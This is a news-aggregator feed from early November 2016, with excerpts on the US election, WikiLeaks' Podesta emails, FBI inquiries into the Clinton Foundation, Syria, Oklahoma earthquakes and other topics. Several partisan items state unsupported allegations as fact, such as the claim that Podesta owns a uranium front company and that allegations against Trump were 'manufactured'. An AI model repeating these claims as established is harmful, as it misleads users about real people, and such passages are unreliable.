Two years before Democratic presidential nominee Hillary Clinton alleged the Russian government was trying to interfere in US elections, she claimed that Russian President Vladimir Putin was personally manipulating his own country's elections, Clinton's paid speech to Deutsche Bank in 2014 revealed. Clinton's speech, released by WikiLeaks on Wednesday, demonstrates her pattern of criticizing the Russian president while simultaneously questioning the ability of Russians to participate in their own elections. "In December [2011] there were elections in Russia. They were highly irregular. Putin was determined to get people 'elected' that he chose," Clinton told the bank's audience. She further said that Putin accused her of "personally dialing every middle class household in Moscow saying, go protest against Putin," a comment that Clinton partisans have echoed by claiming that the Russian president is directing US opposition to her 2016 presidential candidacy. Comment: Despite overwhelming support in Russia for Putin, even Americans think more positively about Putin than the presidential candidates: Poll finds Americans hold more favorable views of Putin than either presidential candidate

01:28

SR 1308 – Julian Assange Surfaces - He is ALIVE and Well – Part 1 WikiLeaks Prevails "IndyWatch Feed Economics"

Visit our website now: http://www.billstill.com - considered by informed insiders’ as THE ultimate resource for fixing the National Debt problem and surviving Economic or Financial Collapse/Crash and attaining the unvarnished truth about Washington and today’s United States Political Climate. Good afternoon, I’m still reporting on Julian Assange. SR 1308 – Julian Assange Surfaces - He is ALIVE and Well – Part 1 WikiLeaks Prevails Julian Assange is alive. However, his internet access has been cut off by the Ecuadoran government. How do we know? Because he just did his first-ever telephone interview by calling into the International Conference of Free Software, meeting in Argentina 6 days ago. This is one of the most fascinating interviews I’ve ever listened to and recommend you listen to the entire thing – and that’s coming from a guy who never listens to lengthy anything! In fact, I’m going to cut this up into several parts because the little segments can stand by themselves and all of it is so important. [insert part 1] For some reason this fascinating personal story part was cut here. There are many technical glitches in the original, including an odd 60-cycle hum, which you’ll hear introduced at spots. It could be accidental, but it could also be courtesy of disruption operations of your nearest spy agency. The recording jumps back in with Assange talking about the Democrat primary campaign between Crooked Hillary Clinton and Bernie Sanders. [insert part 2] The word Assange just used was “rigged”. [insert part 3] And there you have it laid out as plain truth – 4 of the 5 major TV networks in the U.S. and 8 of the 9 major publications are biased in favor of Hillary Clinton. [insert 4] Incidentally, yesterday’s New York Times reported that the FBI has spent all summer investigating similar allegations by Crooked Hillary Clinton that Donald Trump is connected to the Russian government. However, the FBI found no: “ … conclusive or direct link between Mr. Trump and the Russian government…. And no evidence has emerged that would link him or anyone else in his business or political circle directly to Russia’s election operations.” Now back to Assange: [insert 5] Now, Assange lays out in simple terms that it is really the Clinton organization which has direct financial ties to Russian oligarchs through the Uranium 1 deal where 20% of US raw uranium mining is now controlled by a front company which Hillary Clinton’s campaign manager, John Podesta, owns a substantial percentage of. You’ve seen this tactic that Crooked Hillary has used time and again during this election cycle. It’s directly out of the Liar’s Club Manual, Chapter 147 – blame the other guy of what you are guilty of so it essentially becomes a wash in the end because people don’t know who to believe. For example, Crooked Hillary feared that Bill Clinton’s sex crimes of the past would be used by Trump, so they manufactured a group of fake sex crime allegations against Trump to neutr......

01:28

Recent Oklahoma earthquakes may finally induce regulators to restrict fracking "IndyWatch Feed World"

A 4.5 magnitude earthquake that struck northern Oklahoma may have shaken some sense into lawmakers considering increasing restrictions on some oil and gas activity in the state. Oklahoma's recent increase in earthquakes has some lawmakers concerned about the possible connection to oil and gas production and the subsequent disposal of underground wastewater. While there was no reported damage from Tuesday's 4.5 magnitude earthquake, a 5.6 earthquake in September set a record for the state and has some residents calling for change. The Oklahoma Corporation Commission plans a response to Tuesday's earthquake while some state regulators are considering placing new restrictions on oil and gas activity, the Associated Press reported. However, the Pawnee Nation is not holding its breath for regulators to solve the earthquake problem. In late October, the Pawnee Nation announced its plans to take energy companies New Dominion, Sandridge Exploration and Production, Chesapeake Operating and Devon Energy Production Company to court, the Stillwater News Press reported.

01:27

Viggo Mortensen shows how the democratic primary was rigged by the corporate media "IndyWatch Feed World"

In this latest documentary, Viggo Mortensen narrates the story how of the corporate oligarchy was able to suppress democratic fervor and install Hillary Clinton as the nominee for presidency. Below is episode one in what appears to be a series.

01:26

COP BUSTS HIMSELF RUNNING RED LIGHT ON VIDEO, ASKS BOSS TO WRITE HIM A TICKET "IndyWatch Feed World"

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As the enforcement officer for Haines City Police Department’s red light camera program, Tim Glover said he’s written citations to friends, relatives, ambulance drivers and even other cops. But until  Full Article »

01:25

President al-Assad: United States and its Western allies are to blame for failure of latest ceasefire "IndyWatch Feed Europe"

President al-Assad: United States and its Western allies are to blame for failure of latest ceasefire November 3rd, 2016 Damascus, SANA – President Bashar al-Assad asserted that the United States

01:25

Bebaak Collective Speak Out Against Triple Talaq and UCC "IndyWatch Feed Asia"

In a statement, the organisation stressed the necessity of ensuring gender justice within Islamic personal law without the issue being dragged into the Uniform Civil Code debate.

Representational image. Credit: Jarek Jarosz/Flcikr CC BY-NC 2.0

Representational image. Credit: Jarek Jarosz/Flcikr CC BY-NC 2.0

In 1983, Shehnaaz Sheikh took up triple talaq at the Supreme Court, based on the discrimination she had suffered. Following Sheikh, Shah Bano Begum, in 1985 also sought judicial redressal at the Supreme Court, demanding alimony after divorce – a claim that was resisted as un-Islamic. Both cases were appeals for Muslim women to be treated with more constitutional equality.

This year, Shayara Bano’s case at the Supreme Court against triple talaq, has all the makings of a turning point in Muslim personal law in India. If a decisive judgement is made in favour of gender justice it will make Muslim women in India more equal, legislatively, when compared to women in other communities, and of course in their own interpersonal spaces.

The issue of triple talaq, however, is quickly being appropriated and warped into a debate about the importance of having a uniform civil code, with the law commission circulating questionnaires about the same. The central government entered the meleé by submitting an affidavit against triple talaq to the Supreme Court, a move that was appreciated till the question of a uniform civil code followed. Opposition by the All India Muslim Personal Law Board (AIMPLB)...

01:23

Assad: US collaborating with terrorists in Syria, waging proxy war against Iran and Russia "IndyWatch Feed World"

Despite claiming humanitarian motives, US actions in Syria are meant to undermine the power of Russia and Iran, with Washington trying to achieve this goal by directly supporting terrorists, Syrian President Bashar Assad has said. The US' secret collaboration with terrorists is the reason why all attempts at a ceasefire and political transition in Syria have so far failed, the Syrian leader told Serbian newspaper Politika. The interview was also published by the Syria's SANA news agency. "Supporting the terrorists is a war of attrition against Syria, against Iran, against Russia, that's how they look at it. That's why not only this ceasefire - every attempt regarding ceasefire or political moving or political initiative, every failure of these things, the United States was to blame," the Syrian president said. Assad was referring to the deal negotiated by the US and Russia in September, which it was hoped would pave the way for a lasting truce in Syria. In practice, the agreement was derailed by armed groups, which had rejected it from the very beginning. The US pledged to convince the so-called moderate opposition to stick to the bargain and separate from terrorists, who would then be legitimate targets for a joint Russian-American air campaign. Washington didn't deliver on this promise, however.

01:20

WikiLeaks Did Not Receive Clinton Emails From Russia -Assange "IndyWatch Feed World"

Julian Assange has categorically denied that the Russian government is the source of the troves of US Democratic Party and Clinton emails released this year by WikiLeaks In an interview to be broadcast Saturday on the RT network, the WikiLeaks editor in chief refutes the claim from Clinton’s campaign that Russia was the culprit behind the hack and also voices his doubts about Hillary’s physical fitness to take charge of the White House “The Clinton camp has been able to project a neo-McCarthyist hysteria that Russia is responsible for everything. Hillary Clinton has stated multiple times, falsely, that 17 US intelligence agencies had assessed that Russia was the source of our publications. That’s false – we can say that the Russian government is not the source,” Assange told veteran journalist John Pilger RT reports: Assange, who spoke with Pilger at the Ecuadorian Embassy in London, where he has been for four years, also accused the US presidential candidate of being a pawn of behind-the-scenes interests, and voiced doubts about her physical fitness to take charge of the White House. “Hillary Clinton is just one person. I actually feel quite sorry for Hillary Clinton as a person, because I see someone who [...]

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01:20

FBI Sources Tell Fox News An “Indictment Is Likely” In Clinton Foundation Case "IndyWatch Feed World"

 

Roughly at the same time that the WSJ reported of what is now a clear “civil war” between (and within) the FBI and the DOJ, Fox News anchor Bret Baier reported that the FBI’s investigation into the Clinton Foundation that has been going on for more than a year has now taken a “very high priority.” He added that FBI agents have interviewed and re-interviewed multiple people on the foundation case, which is looking into possible pay for play interaction between then-Secretary of State Hillary Clinton and the Clinton Foundation.  

The FBI’s White Collar Crime Division is handling the investigation, which will continue, as “there is a lot of evidence. And barring some obstruction in some way, they believe they will continue to likely an indictment.

 

The news was cited by various traders as the catalyst that pressured the USD when it come out late on Wednesday.

“There is an avalanche of new information coming in every day,” one source told Fox News, who added some of the new information is coming from the WikiLeaks documents and new emails.

He added that FBI agents are “actively and aggressively pursuing this case,” and will be going back and interviewing the same people again, some for the third time, sources said. Agents are also going through what Clinton and top aides have said in previous interviews and the FBI 302, documents agents use to report interviews they conduct, to make sure notes line up, according to sources.

Here are the key highlights from his report, as summarized by Real Clear Politics:

  • The Clinton Foundation investigation is far more expansive than anybody has reported so far and has been going on for more than a year.
    The laptops of Clinton aides Cherryl Mills and Heather Samuelson have not been destroyed, and agents are currently combing through th...

01:14

New Report Shows Colorado Cannabis Industry Contributes More to Economy Than All Other Industries "IndyWatch Feed Nthamerica"

cannabisIn one year, the cannabis industry generated $2.39 billion, created 18,000 jobs, and demolished the black market.

01:10

Feminist Burst Into Tears After Voting For Hillary: “I Got To Vote For A Woman For President”… "IndyWatch Feed Politics.us"

I’d cry as well if I voted for Hillary. Mom breaks into tears: "I got to vote for a woman for president" https://t.co/0FFKlLQudQ pic.twitter.com/lXsF06MeX2 — Huffington Post (@HuffingtonPost) November 2, 2016

01:10

Message From ETFs: Strong Gold Market Ahead "IndyWatch Feed Economics"

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Message From ETFs: Strong Gold Market Ahead I’m always looking for clues about the gold and silver markets. And this one I’ve been watching keeps getting stronger. If you’re someone who’s worried about the gold price, or frustrated by its recent price action, this data says that worry is misplaced. This clue has been on…

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01:09

Abandon Ship! Trust of Mainstream Media Plummets "IndyWatch Feed World"

In this News Shot, Joe Joseph explains how the public is rapidly losing faith in the mainstream media.

Have a listen!

Watch on YouTube

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01:08

Baghdadi Tells Would-Be Jihadists to Start Populating Far-Flung ISIS Provinces "IndyWatch Feed War"

PJ Media, by Bridget Johnson, November 2, 2016: In his first audio message since December, self-proclaimed caliph Abu Bakr al-Baghdadi told ISIS fighters who have steadily been losing ground since the start of the 17-day-old offensive on Mosul to hang … Continue reading

01:08

Bez, SDC, Maje Ayida, Folu Stoms & More Spotted at the Finale Show of Falana’s “Uncover’d” Pop-Up Concert Series "IndyWatch Feed Africa"

BN Events brought you the photos from the first show held as part of alternative singer Falana’s “Uncover’d” pop-up concert series and now the series has come full circle with a finale that held on Sunday, October 30th at City Hall, Lagos. Since June 2016, Falana has invited audiences to explore the stories, style and […]

01:07

List of Hollyweirdos who say they’ll leave U.S. if Trump is elected "IndyWatch Feed Politics.us"

In every presidential election, Hollywood liberals would threaten they’ll leave the U.S. if a Republican is elected.

But they never do. Alec Baldwin, Tim Robbins, Martin Sheen and Barbra Streisand come to mind.

This year is no different.

Here’s a partial list of “celebrities” who say they’ll leave the U.S. if Trump is elected president (sources: Inquisitr, FoxNews, Rare, TopRightNews, SherDog):

  • Neve Campbell
  • Cher (says she’ll move to the planet Jupiter)
  • Bryan Cranston
  • Mark Cuban
  • Miley Cyrus
  • Barry Diller
  • Lena Dunham
  • Whoopi Goldberg
  • Eddie Griffin
  • Chelsea Handler
  • Omari Hardwick
  • Katie Hopkins
  • Samuel L. Jackson
  • Jennifer Lawrence (says the world would end if Trump is elected)
  • Spike Lee
  • George Lopez
  • Natasha Lyone
  • Rachel Maddow
  • Rosie O’Donnell
  • Susan Sarandon
  • Choë Sevigny
  • Al Sharpton
  • Amy Schumer
  • Jon Stewart (says he’ll move to another planet)
  • Barbra Streisand (not again!)
  • Raven Symone

Well, we have help for the Hollyweirdos who say they’ll move out of the country if Trump is elected!

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01:05

Argentina: Cristina compares herself to Lula "IndyWatch Feed War"

Former president Cristina Fernández de Kirchner showed up in court to make a statement during her corruption trial. After piling in on Macri and calling his government “a terrorist organization”, She also compared her case to that of former Brazilian president Lula da Silva, who is accused of corruption in connection with the state oil […]

01:05

9 Ex Gang Members With Their Tattoos Removed "IndyWatch Feed World"

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Seeing a fully tattooed person in a shady neighborhood can create all kinds of negative assumptions. But sometimes (if not most of the time) they’re just stereotypes, that actually make the lives of  Full Article »

01:05

Russians + Boston Bombing/”Trump Can’t Win” – Rove/More "IndyWatch Feed Nthamerica"

PICKS are stories from many sources, selected by our editors or recommended by our readers because they are important, surprising, troubling, enlightening, inspiring, or amusing. They appear on our site and in our daily newsletter. Please send suggested articles, videos, podcasts, etc. to picks@whowhatwhy.org.

Will Oil Majors Ever Recover? (Jeff C.)

With global prices showing no signs of a rebound, earnings are taking a beating, refining margins have sunk, and debt levels continue to soar. Alarm bells are ringing louder than ever.

No Tax Returns from Trump (Jimmy)

Email and sex scandals have overshadowed the scandal that Donald Trump will be the first Republican presidential candidate since Richard Nixon not to release his tax returns before the election.

Karl Rove: Trump Can’t Win (Jeff C.)

In an appearance on “Fox News Sunday,” the Republican strategist said that Donald Trump’s poll numbers are simply too dismal to end in victory on election night.

‘Brexit’ Not So? (Dan)

Just as new UK Prime Minister Theresa May was preparing to enact Article 50, which would formerly begin the British “exit” from the European Union, the country’s highest court ruled the process must go through Parliament.

US-Russian Cyberwar Escalation Based on Unproven Allegations (Jimmy)

US government agencies claim Russia is behind email hacks and election interference. But where is the hard evidence?

Thomson Reuters Cutting 2,000 Jobs (Jeff C.)

The news and information giant will be shedding some 4% of its total workforce, though there will be no decline in headcount in the Reuters newsroom, according to a memo to employees on Tuesday. We’ve heard that before from other front office brass in the news industry.

Pro-Clinton Media Calls for UK to Storm Embassy and Arrest Assange (Trevin)

Newsweek accused Wikileaks of stealing property (Podesta emails), and also printed that Assange has been charged with a crime. Both ar...

01:04

Phil Collins performs “In the Air Tonight” on Jimmy Fallon The Loop

[VIDEO] Before you watch the video below, take a minute to watch the setup interview, where Phil Collins talks about the song and you can see Roots drummer Questlove getting a bit nervous taking on an incredibly well known drum moment.

Bottom line, Questlove does a fine job and Phil Collins and the band do this classic justice.

Enjoy.

∞ Read this on The Loop

01:02

Wikileaks releases batch 27 of Podesta emails "IndyWatch Feed World"

More emails from Hillary Clinton's campaign chair John Podesta have been released by WikiLeaks. The latest batch consists of over one thousand emails, bringing the number released so far to over 44,000. WikiLeaks said it will publish a total of 50,000 emails in the run up to next week's presidential election. Yesterday WikiLeaks released the 26th batch of emails, shedding light on a relationship between Google and President Barack Obama dating back to September 2008 in which the internet giant helped the president's transition team set up 'secure data rooms'. Frustration with Benjamin Netanyahu In the latest release frustration is expressed about Israeli Prime Minister Benjamin Netanyahu. A mail from Clinton aide Neera Tanden to Podesta asks why the White House isn't asking for "proof of his support for 2-state solutions. Like a settlement freeze?" "Given nature of gov't- he may not be able to do but it proves the point then," Tanden says in the mail from March 2015.

01:01

Turkey: No US Cooperation on Safe Zone/Border Wall Construction Continues & Raqqa "IndyWatch Feed War"

Unsurprisingly the 'kurds' are willing to die to annex Raqqa! 

First, what should have been obvious..

The US and Turkey are NOT WORKING TOGETHER to create safe zones for refugees

The United States is not working Turkey to create a "safe zone;’ for refugees along the Turkish-Syrian border for refugees fleeing the Syrian civil war, the Department of Defense spokesperson Adrian J.T. Rankine-Galloway told Sputnik.
"At this time, we are not working with Turkey at this time to create a ‘safe zone’ along the border," Rankine-Galloway said on Wednesday. "We do not think a safe zone would resolve the fundamental issues on the ground because there continues to be fighting on the ground."
This is a subject that has been reported on more then once. Since the US and it's kurdish proxies are interested in annexing territory and ethnically cleansing arabs- it should seem obvious to all that creating a safe zone to impede this agenda is not in the cards.

The Turkish/Syrian border wall construction continues on..


Noticed Turkey’s wall was in the news again yesterday... Why is it the north american/european media, alt and main stream is completely ignoring the construction of the wall?
Is it so their NATO friendly dis/mis info can be pushed? If you ignore the wall construction you can allege Turkey is expansionist and out to take Syria's territory BUT a 900 km long border wall under construction, to secure their own border, seems to contradict those assertions
 
A YPG fighter walks along the Turkish-Syria border wall (AFP)...

01:00

Unshackling ASEAN "IndyWatch Feed Economics"

The Association of Southeast Asian Nations is required to make decisions by consensus, which unites disparate member states, while allowing them to protect their national interests. But this provision also limits ASEAN’s effectiveness in addressing emerging regional security threats, not least China's territorial claims.

01:00

Enterprise Linux Showdown: Red Hat Enterprise Linux "IndyWatch Feed Tech"

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00:59

Rebuilding China’s Military: Naval Power in South and East China Seas. Growing Amphibious Capabilities "IndyWatch Feed Nthamerica"

The Chinese government has achieved a great deal in terms of modernizing and increasing the capabilities of its armed forces in the past two decades and they are quickly obtaining parity with their counterparts in the West. China has made…

00:58

Getting the state to switch sides in the fight for workers' rights "IndyWatch Feed Politics.eu"

Workers can beat big business when they come together, but the fight would certainly be easier if the state were generally on their side.

Domestic workers in Mumbai, India at a signature campaign for the ratification of ILO convention 189 on decent work for domestic workers. IDWF/Flickr. (CC 2.0 by-nc-nd).

Beyond Trafficking and Slavery spoke with Elizabeth Tang from the International Domestic Workers Federation and Sanjiv Pandita from Solidar Suisse (Hong Kong) about the obstacles to labour organising in the wake of increasing corporate power and the potential for positive change.

Penelope Kyritsis (BTS): What do you think the state's responsibility is with regard to protecting workers' rights to association and peaceful assembly?

Elizabeth Tang: Workers' rights, and the freedom of association and assembly, are basic human rights. So the state has full responsibility to ensure that each of their citizens enjoy these rights. This also ensures a level playing field. This is not about giving favour to individual groups, but to ensure that workers and employers are able to sit down and speak at the same level about rights and also issues concerning the labour-employer relationship.

Freedom of association is the only thing workers have on their side when bargaining with the might of business.

Sanjiv Pandita: We also believe that because historically capital and the industrialists have been more powerful than the workers, government has to provide some extra support for workers so that they can bargain. Freedom of association is the only thing they have on their side when bargaining with the might of business. So government has to take actual steps. You'll see that historically this happened in Europe and also in America – the state provided extra support to labour because of its comparative weakness to capital. Now, states are shrinking back from those responsibilities. We want states to return to their role of providing extra support to labour.

Penelope: What are the biggest obstacles to that?

Elizabeth: The biggest obstacle is the expanding corporate power, which is working only for profit, or for its own greed. They use their influence to stop governments and states from performing what they should be performing – to ensure a level playing ground for everybody in society.

Sanjiv: Following on that: corporate...

00:56

The party of pain "IndyWatch Feed Economics"

Commenters on the right will often talk in apocalyptic terms about the loss of freedom in America, as bakers are not allowed to discriminate against gay couples. That’s certainly a defensible point, although I can’t get too excited about it.  Same thing for people on the left and the 60 prisoners on Guantanamo.  Again, a defensible argument, but not a high priority for me.  But when I mention 400,000 Americans in prison for violating drug laws these same people often just giggle, saying that that “only pothead libertarians care about the issue”.  Then they tell me that these 400,000, and the millions more ex cons who’s lives have been scarred by our criminal justice system, are “bad people”, even though they’ve never met most of them. Guess what, some of those Guantanamo prisoners and some of those anti-gay bakers are also bad people.  Is that your criterion?

America had a lot of murders during the 1920s, but far fewer during the 1950s.  I guess all those “bad people” shooting each other in 1920s gangland slayings, fighting over the distribution of alcohol, suddenly became “good people” in the 1950s.  Or is it possible that bad laws make bad people?

Here’s a map showing the progress on pot legalization so far; many people expect a big jump in states where it is fully legal next month, as referenda are on the ballot in 5 states, including California.  Florida and a few others will vote on medical marijuana.

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Look at the states that don’t allow medical marijuana.  The states where people believe cancer sufferers should just “be a man” and suck it up. Do you see any correlation with the polls in the current presidential election?

But it’s even worse.  At the elite level of politicians and news outlets such as the Boston Globe, both parties are strongly opposed to legalization. This push is coming almost entirely from the people (plus Gary Johnson).  The referendum process is often criticized, and has produced bad public policies on occasion in places like California. But just imagine where we’d be if we had to rely on our elected leaders on the drug issue. There’d be no hope for the 400,000 in prison.

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Wherefore art thou Macintosh? The Loop

Horace Dediu, on some remarkable business achievements of the Mac over time:

  • The product is in its 32nd year of market presence. A longevity that in unmatched by any other PC maker.

  • Apple reached a top five position in the ranking of PC vendors. This was achieved for the first time only this year, far along in the evolution of the market.

  • With about $23 billion in revenues per year, Apple places among the top four PC vendors in terms of revenue.

  • With an estimated $5.5 billion in operating margin Apple is the most profitable PC vendor, capturing over 60% of the available PC hardware profits.

  • The product has retained an average selling price of over $1200 for at least a decade. At the same time the average pricing of Personal Computers has more than halved.

Then, following some charts to lay out his thesis, Dediu gets to the heart of the matter:

Mobile has been foreseeable as a disruption to computing a decade ago–at least to some of us.

And so what do you with the Mac?

To answer this we have to ask what exactly is the purpose of the Mac in the age of the Mobile device?

And:

The same way keyboard shortcuts are hard to learn but pay off with productivity, touchbar interactions are fiddly but will pay off with a two-handed interaction model. They are not something you “get” right away. They require practice and persistence for a delayed payoff. But, again, that effort is what professionals are accustomed to investing.

This is a leap forward and a big deal. For 32 years the UX model of the Mac has been two-handed typing with one handed gesturing. Now we have the option of two-handed indirect manipulation: one hand on the touchbar and one hand on the touchpad. Imagine you’ve been playing guitar with one hand for years and then someone lets you use your left hand. Holy cow.

This is a great read. Be sure to look at that third chart, the one that contrasts Mac, Windows, and iPhone sales.

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00:55

Obamamometer Whispers DAPL Sweet Nothings to Lure Progressives "IndyWatch Feed Economics"

The Army Corps of Engineers is unlikely to to reroute DAPL, in the face of private contractual commitments to supply oil that soon kick in.

00:54

Secret Recordings Fueled Mutinous FBI Investigation of Clinton's "IndyWatch Feed World"

Source: Zero Hedge | by Tyler Durden


Secret Recordings Fueled Mutinous FBI Investigation of Clintons Despite DOJ Orders To "Stand Down"

Nov 3, 2016 2:35 AM

It's looking increasingly like there is an ongoing mutiny underway within the FBI as the Wall Street Journal is reporting that, according to "officials at multiple agencies", FBI agents felt they had adequate evidence, including "secret recordings of a suspect talking about the Clinton Foundation", to pursue an investigation of the Clinton Foundation but were repeatedly obstructed by officials at the Department of Justice.

Secret recordings of a suspect talking about the Clinton Foundation fueled an internal battle between FBI agents who wanted to pursue the case and corruption prosecutors who viewed the statements as worthless hearsay, people familiar with the matter said.

The roots of the dispute lie in a disagreement over the strength of the case, these people said, which broadly centered on whether Clinton Foundation contributors received favorable treatment from the State Department under Hillary Clinton.

Senior officials in the Justice Department and the FBI didn’t think much of the evidence, while investigators believed they had promising leads their bosses wouldn’t let them pursue, they said.

Despite clear signals from the Justice Department to abandon the Clinton Foundation inquiries, many FBI agents refused to stand down. Then, earlier this year in February 2016, the FBI presented initial evidence at a meeting with Leslie Caldwell, the head of the DOJ's criminal division, after which agents were delivered a clear message that "we're done here." But, as the WSJ points out, DOJ became increasing frustrated with FBI agents that were "disregarding or disobeying their instructions" which subsequently prompted an emphatic "stand down" message from the DOJ to "all the offices involved."

As 2015 came to a close, the FBI and Justice Department had a general understanding that neither side would take major action on Clinton Foundation matters without meeting and discussing it first. In February, a meeting was held in Washington among FBI officials, public-integrity prosecutors and Leslie Caldwell, the head of the Justice Department’s criminal division. Prosecutors from t...

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‘Seed for Endless Wars’: Clinton May Trigger Chaos in Egypt, Collapse of Syria "IndyWatch Feed Nthamerica"

US Democratic presidential nominee Clinton on different occasions during her election campaign pledged to increase the US influence in the Middle Eastern region, to create safe zones inside Syria, increase pressure on Syrian President Bashar al-Assad and boost support to …

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Will Barack Obama delay or suspend the election if Hillary is forced out by the new FBI email investigation? "IndyWatch Feed Nthamerica"

Just when it looked like Hillary Clinton was poised to win the 2016 election, the FBI has thrown a gamechanger into the mix. On Friday, FBI Director James Comey announced that his agency has discovered new emails related to Hillary Clinton’s mishandling of classified information that they had not previously seen. According to the Associated Press, the newly discovered emails “did not come from her private server”, but instead were found when the FBI started going through electronic devices that belonged to top Clinton aide Huma Abedin and her husband Anthony Weiner.  The FBI has been looking into messages of a sexual nature that Weiner had exchanged with a 15-year-old girl in North Carolina, and that is why they originally seized those electronic devices.  According to the Washington Post, the “emails were found on a computer used jointly by both Weiner and his wife, top Clinton aide Huma Abedin, according to a person with knowledge of the inquiry”, and according to some reports there may be “potentially thousands” of emails on the computer that the FBI did not have access to previously.  Even though there are less than two weeks to go until election day, this scandal has the potential to possibly force Clinton out of the race, and if that happens could Barack Obama delay or suspend the election until a replacement candidate can be found?

Let’s take this one step at a time.  On Friday, financial markets tanked when reports of these new Clinton emails hit the wires.  The following comes from CNN

After recommending earlier this year that the Department of Justice not press charges against the former secretary of state, Comey said in a letter to eight congressional committee chairmen that investigators are examining newly discovered emails that “appear to be pertinent” to the email probe.

“In connection with an unrelated case, the FBI has learned of the existence of emails that appear pertinent to the investigation,” Comey wrote the chairmen. “I am writing to inform you that the investigative team briefed me on this yesterday, and I agreed that the FBI should take appropriate investigative steps designed to allow investigators to review t...

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REPORT: Native American Girls Have Highest Rate Of Incarceration "IndyWatch Feed Nthamerica"

sexual_abuse_to_prison_pipeline_not_new_for_native_women_-_istock1New statistics show that American Indian and Native Alaskan girls account for a disproportionate amount of the population in the juvenile justice system.

According to the  U.S. Office of Juvenile Justice and Delinquency Prevention, American Indian and Native Alaskan girls are nearly five times more likely than white girls to be confined to a juvenile detention facility, the highest rate of incarceration of any ethnic group. PewTrusts reports:

Native girls are 40 percent more likely than white girls to be referred to a juvenile court for delinquency; 50 percent more likely to be detained; and 20 percent more likely to be adjudicated, according to the Office of Juvenile Justice. They are also more likely to face harsher sentences for the same offenses, said Joshua Rovner of The Sentencing Project.

Pew also reports that American Indian girls have the highest rates of commitment to juvenile facilities in Wyoming (1,302 per 100,000), followed by Iowa (860), South Dakota (656), Oregon (568) and North Dakota (535). Although the numbers show that Native boys greatly outnumber girls in juvenile facilities, the differences between Native boy...

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The U.S. Elections and the Aftermath: Will Hillary Clinton be Indicted? Will Trump Start a News Network Channel? "IndyWatch Feed Nthamerica"

As the U.S. elections come to close, the newly-elected President of the United States will run one of the most dangerous empires in human history. Regardless of whatever comes out of the FBI investigation concerning Hillary Clinton’s‘Classified’ email scandal, she…

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Explaining the Inexplicable "IndyWatch Feed World"

At the heart of the Enlightenment was the notion that the world could in principle be explained. Yet perplexingly the biggest questions seem to defy explanation. Is explanation an illusion, or does... The post Explaining the Inexplicable appeared first on disinformation.

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BREXIT Must be Decided by Parliament not the People "IndyWatch Feed World"

BREXIT-TIME

The British court ruled that Parliament, not the “people” must vote on BREXIT. If Parliament overrules the people, we are looking at massive civil unrest in Britain as well. The whole world is just going nuts and what the people vote may mean absolutely NOTHING. So much for Democracy.

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Our forecast for this Crisis was first made back in 1987. This is the sad fate of how government die. Once they go against their own people, they cease to be valid governments and cross that threshold into the land of authoritarianism. This is the REAL DANGER we face. The extinction of democratic forms of even pretense in the West and this will be the driving force for capital to migrate eventually to Asia forging a new Financial Capital of the World.

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WikiLeaks’ Podesta Emails Highlight Strong Ties Between DOJ & Clinton Campaign "IndyWatch Feed World"

Secretary of State Hillary Rodham Clinton gestures as she gives a speech:

Secretary of State Hillary Rodham Clinton gestures as she gives a speech: “Frontlines and Frontiers: Making Human Rights a Human Reality,” Thursday, Dec. 6, 2012, at Dublin City University in Dublin, Ireland. (AP Photo/Kevin Lamarque, Pool)

MINNEAPOLIS — WikiLeaks’ archive of emails taken from the Gmail account of Hillary Clinton’s campaign chair continue to shed new light on the close relationships between the Democratic Party elite and the U.S. government.

The latest wave of John Podesta’s emails to be published by WikiLeaks has thrust into the spotlight Peter Kadzik, a well-connected Washington attorney who currently serves as an assistant attorney general at the Justice Department’s Office of Legislative Affairs.

“DoJ Assistant Attorney Peter Kadzik outed as a mole for Hillary Clinton campaign,” WikiLeaks tweeted on Wednesday. The tweet highlighted an email Kadzik sent to Podesta on May 19, 2015, warning him of a congressional hearing and updating the team on the State Department’s progress in publishing Clinton’s emails in response to Freedom of Information Act requests.

In the email, Kadzik wrote:

“There is a HJC [House Judiciary Committee] oversight hearing today where the head of our Civil Division will testify. Likely to get questions on State Department emails. Another filing in the FOIA case went in last night or will go in this am that indicates it will be awhile (2016) before the State Department posts the emails.”

Podesta forwarded the email to several members of the Clinton campaign team.

Ben Brody, a Bloomberg politics reporter assigned to cover the election, noted that all of the information Kadzik provided was public. On Wednesday, Brody reported:

“Kadzik was alerting Podesta to public events: The Judiciary Committee held an op...

00:51

Red Hat Enterprise Linux 7.3 Released "IndyWatch Feed Tech"

Red Hat Enterprise Linux 7.3 (RHEL 7.3) is shipping today...

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Is Stagflation a Potential Threat? "IndyWatch Feed Economics"

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Is Stagflation a Potential Threat? The Incrementum Fund held its quarterly advisory board meeting on October 3 (the transcript can be downloaded below). Our regular participants – the two fund managers Ronald Stoeferle and Mark Valek, advisory board members Jim Rickards, Frank Shostak and yours truly –  were joined by special guest Grant Williams this…

The post Is Stagflation a Potential Threat? appeared first on The Daily Coin.

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Report: FBI Has Secret Recordings Of Conversations Where Suspects Are Talking About Illegal Deals Clintons Made … "IndyWatch Feed Politics.us"

Update to this story. Via WSJ: Secret recordings of a suspect talking about the Clinton Foundation fueled an internal battle between FBI agents who wanted to pursue the case and corruption prosecutors who viewed the statements as worthless hearsay, people familiar with the matter said. Agents, using informants and recordings from unrelated corruption investigations, thought […]

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Australian nurses who spread anti-vaccination messages will now face prosecution "IndyWatch Feed World"

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Australian nurses and midwives who promote anti-vaccination to patients and the public will now be subject to prosecution, the Nursing and Midwifery Board of Australia has announced.

The tough new stance on anti-science statements comes in response to reports of a “small number” of practitioners who have been promoting anti-vaccination statements on social media.

“Midwives and nurses are highly regarded and trusted members of society, and people take their advice very seriously,” Hannah Dahlen, a professor of midwifery at the University of Western Sydney and the spokeswoman for the Australian College of Midwives, told The Guardian.

“I agree that they have a very serious obligation to provide the best available evidence, and it is of course concerning that some are taking to social media in order to express a position not backed by science.”

According to new regulations, all reports of anti-vaccination statements will now be investigated.

If the nurse or midwife is deemed to have breached their professional obligation to promote scientifically backed health advice, they could face having their ability to practise medicine restricted.

Serious cases will be referred to an industry tribunal, where harsher penalties such as having their registration suspended or cancelled could apply.

“The board is taking this opportunity to make its expectations about providing advice on vaccinations clear to registered nurses, enrolled nurses and midwives,” the organisation said in a statement.

“The board expects all registered nurses, enrolled nurses and midwives to use the best available evidence in making practice decisions.”

The harsher stance on anti-vaccination messaging follows Australia’s recently enforced “No Jab, No Pay” law, which came into effect on 1 January 2016.

The policy states that you can “conscientiously object” to immunising your kid based on philosophical, religious, or “I read things on the Internet” reasons, but doing so means the government can withhold family payments worth up to $15,000 every year.

Families receiving the Australian government’s Child Care Benefit, Child Care Rebate, and the Family Tax Benefit (FTB) were given three months to get their kids’ immunisations up to date to ensure that their payments would continue.

